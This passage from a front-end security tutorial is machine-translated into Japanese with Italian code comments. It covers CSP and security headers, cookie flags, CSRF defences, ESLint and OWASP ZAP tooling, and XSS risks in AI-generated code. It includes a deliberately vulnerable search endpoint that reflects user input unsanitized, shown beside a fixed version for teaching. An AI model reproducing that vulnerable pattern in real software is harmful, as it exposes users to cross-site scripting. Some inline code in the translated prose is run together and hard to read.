`script-src 'self' 'nonce-${nonce}' 'strict-dynamic'; ` +
`style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; ` +
`font-src 'self' https://fonts.gstatic.com; ` +
`img-src 'self' data: https:; ` +
`connect-src 'self' https://api.example.com; ` +
`frame-ancestors 'none'; ` +
`base-uri 'self'`
);
res.render('index', {
req,
providers: [
{ provide: 'CSP_NONCE', useValue: nonce }
]
});
});
完全なフロントエンド セキュリティ チェックリスト
このチェックリストは、すべてのフロントエンド プロジェクトの参考として使用してください。各点は以下を表します 文書化された攻撃に対する具体的な防御。
XSS の防止
- 絶対に使用しないでください
innerHTML,document.write()oeval()ユーザーデータ付き - 使用
textContentの代わりにinnerHTML可能な限り - コンテキストに適した出力エンコーディング (HTML、URL、JavaScript、CSS) を適用します。
- レンダリング前に DOMPurify を使用して HTML 入力をサニタイズする
- 文書化された理由がない限り、Angular/React サニタイザーをバイパスしないでください。
- URL を使用する前に検証する
hrefosrc(ブロックjavascript:) - の起源を検証する
postMessage
CSRFの防止
- セット
SameSite=Lax(最小) すべてのセッション Cookie - すべての変更リクエスト (POST、PUT、DELETE、PATCH) に対して CSRF トークンを実装します。
- ヘッダーを検証する
OriginoReferer追加の防御策として - Angular XSRF サポートの構成 (
withXsrfConfiguration) - GET リクエストを介して機密性の高いアクションを実行しないでください
- 重要な操作 (パスワードの変更、転送) の再認証を要求します。
CSP および HTTP ヘッダー
- 制限付き CSP を設定するには
default-src 'self' - 使用
nonceohashスクリプトの場合は避けてください'unsafe-inline' - CSP をテストする
Report-Only有効化する前に - 運用環境での CSP 違反レポートの監視
- セット
X-Frame-Options: DENYクリックジャッキングを防ぐために - セット
X-Content-Type-Options: nosniff - HSTSをアクティブ化するには
includeSubDomainsepreload - 設定する
Referrer-PolicyePermissions-Policy - securityheaders.com でスコアを確認してください (目標: A+)
クッキーのセキュリティ
- フラグを設定する
HttpOnlyすべてのセッション Cookie について - フラグを設定する
SecureHTTPS 経由でのみ Cookie を送信するには - セット
SameSite=LaxoStrict - 定義する
PatheDomainできるだけ制限的に - セット
Max-Age合理的 (無限のセッションではない) - JWT トークンを保存しないでください。
localStorage(XSS に対して脆弱): Cookie を優先しますHttpOnly
フロントエンドセキュリティテストツール
セキュリティを手動でテストするだけでは十分ではありません。これらの専門ツールは自動化します XSS、CSRF の脆弱性、ヘッダーの設定ミスの検出。
| ツール | タイプ | 主な用途 | 料金 |
|---|---|---|---|
| オワスプザップ | DAST (プロキシ スキャナ) | XSS、CSRF、インジェクション、構成ミスの自動スキャン | 無料 |
| げっぷスイート | DAST (高度なプロキシ) | 手動および自動の侵入テスト、高度なファジング | コミュニティ (無料) / プロ ($449/年) |
| securityheaders.com | ヘッダー分析 | A ~ F と評価されたすべてのセキュリティ ヘッダーをすばやく確認します | 無料 |
| CSP評価者 | CSP分析 | Google の提案による CSP ポリシー固有の検証 | 無料 |
| スニック | SCA + SAST | 依存関係とソースコードの脆弱性をスキャンします。 | 無料利用枠 / チーム (月額 25 ドル) |
| ESLint セキュリティ | SAST(リンター) | コード内の XSS パターンを検出するための lint ルール (innerHTML、eval) | 無料 |
// .eslintrc.json - Plugin di sicurezza per Angular/TypeScript
{
"plugins": ["security", "no-unsanitized"],
"rules": {
"no-eval": "error",
"no-implied-eval": "error",
"no-new-func": "error",
"no-unsanitized/method": "error",
"no-unsanitized/property": "error",
"security/detect-unsafe-regex": "warn",
"security/detect-non-literal-regexp": "warn",
"security/detect-object-injection": "warn"
}
}
# Scansione rapida con OWASP ZAP in Docker
docker run -t zaproxy/zap-stable zap-baseline.py \
-t https://your-app.example.com \
-r report.html \
-l WARN
# Scansione completa con autenticazione
docker run -t zaproxy/zap-stable zap-full-scan.py \
-t https://your-app.example.com \
-r full-report.html \
--hook=/zap/auth-hook.py
# Integrazione nella pipeline CI/CD (GitHub Actions)
# Aggiungi come step nel workflow:
# - name: OWASP ZAP Scan
# uses: zaproxy/action-baseline@v0.10.0
# with:
# target: 'https://staging.example.com'
AI によって生成されたコードの脆弱性
コード生成のための Copilot、ChatGPT、Claude などのツールの大規模な採用 新たなリスクが導入されました: これらのツールは、機能するコードを生成することがよくあります。 正しくは機能しますが、セキュリティ上の脆弱性が含まれています。によると、 GenAI コードのセキュリティ ベラコード レポート 2025、統計は憂慮すべきものです。
AI コードのセキュリティ統計
- 86% の故障率 クロスサイト スクリプティング (CWE-80) 用 - AI 生成コードには XSS サニタイズがほとんど含まれていません
- 88% の故障率 ログ インジェクション (CWE-117) の場合 - ユーザー データはサニタイズせずにログに記録されます
- 故障率 72% AI が生成した Java コードの場合
- 平均故障率 45% テストされたすべての言語で
- 38 ~ 45% の故障率 Python、JavaScript、C# に固有
// TIPICO OUTPUT AI: funziona ma e vulnerabile
// "Crea un endpoint che mostra i risultati di ricerca"
app.get('/search', (req, res) => {
const query = req.query.q; // Nessuna sanitizzazione!
const results = searchDatabase(query);
res.send(`
<h1>Risultati per: ${query}</h1>
<ul>${results.map(r => `<li>${r.title}</li>`).join('')}</ul>
`);
});
// XSS: query e r.title non sono sanitizzati
// VERSIONE CORRETTA (dopo code review di sicurezza)
import { escape as escapeHtml } from 'lodash';
app.get('/search', (req, res) => {
const query = escapeHtml(String(req.query.q || ''));
const results = searchDatabase(req.query.q as string);
res.send(`
<h1>Risultati per: ${query}</h1>
<ul>${results.map(r =>
`<li>${escapeHtml(r.title)}</li>`
).join('')}</ul>
`);
});
AIコードの基本ルール
AI によって生成されたコードは、デフォルトでは安全ではありません。 生成されたすべてのスニペットを処理する 若手開発者が書いたコードとして AI によって実行される - 機能する可能性がありますが、それには次のことが必要です。 いつも一つ 安全審査 生産に入る前に。チェックする 具体的には: 入力のサニタイズ、出力のエスケープ、エラー処理 (フェールクローズ)、認可チェック、およびハードコーディングされたシークレットの欠如。
結論と次のステップ
フロントエンドのセキュリティはオプションではありません。それはすべての開発者の基本的な責任です。 XSS、CSRF、およびセキュリティ ヘッダーの欠如は、今後起こる具体的な脆弱性です 日々搾取されている。良いニュースは、防御策が存在し、十分に文書化されており、 frameworks like Angular implement them natively.
フロントエンド アプリケーションを保護するための実際的な方法は次のとおりです。
- 1日目: Helmet でセキュリティ ヘッダーを設定し、securityheaders.com でスコアを確認します。
- 2日目: CSP をレポート専用モードで展開し、侵害レポートを分析する
- 3日目: DOM 内のユーザー データを挿入するすべての場所を確認します。textContent を使用するか、サニタイズします。
- 4日目: CSRF 保護の構成: SameSite Cookie + Angular の XSRF トークン
- 5日目: ステージング アプリケーションで OWASP ZAP スキャンを実行します。
シリーズの次の記事
今後の記事では、Web セキュリティの他の重要な領域について詳しく説明します。
- 第03条: SQL インジェクションと入力検証 - パラメーター化されたクエリと高度な検証によるバックエンド保護
- 第04条: 安全な認証 - JWT、OAuth2、セッション、多要素認証
- 第05条: API セキュリティ - レート制限、API キー、REST/GraphQL API セキュリティ
安全は継続的なプロセスであり、ゴールではありません。 Every framework update, 新しい依存関係ごとに、コードの各行 (人間または AI が生成したもの) が導入される可能性があります。 脆弱性。目標は完璧なセキュリティではなく、セキュリティを構築することです 防御 深く 各レベルが減速して攻撃者をブロックし、攻撃を行います。 経済的に不利になる。







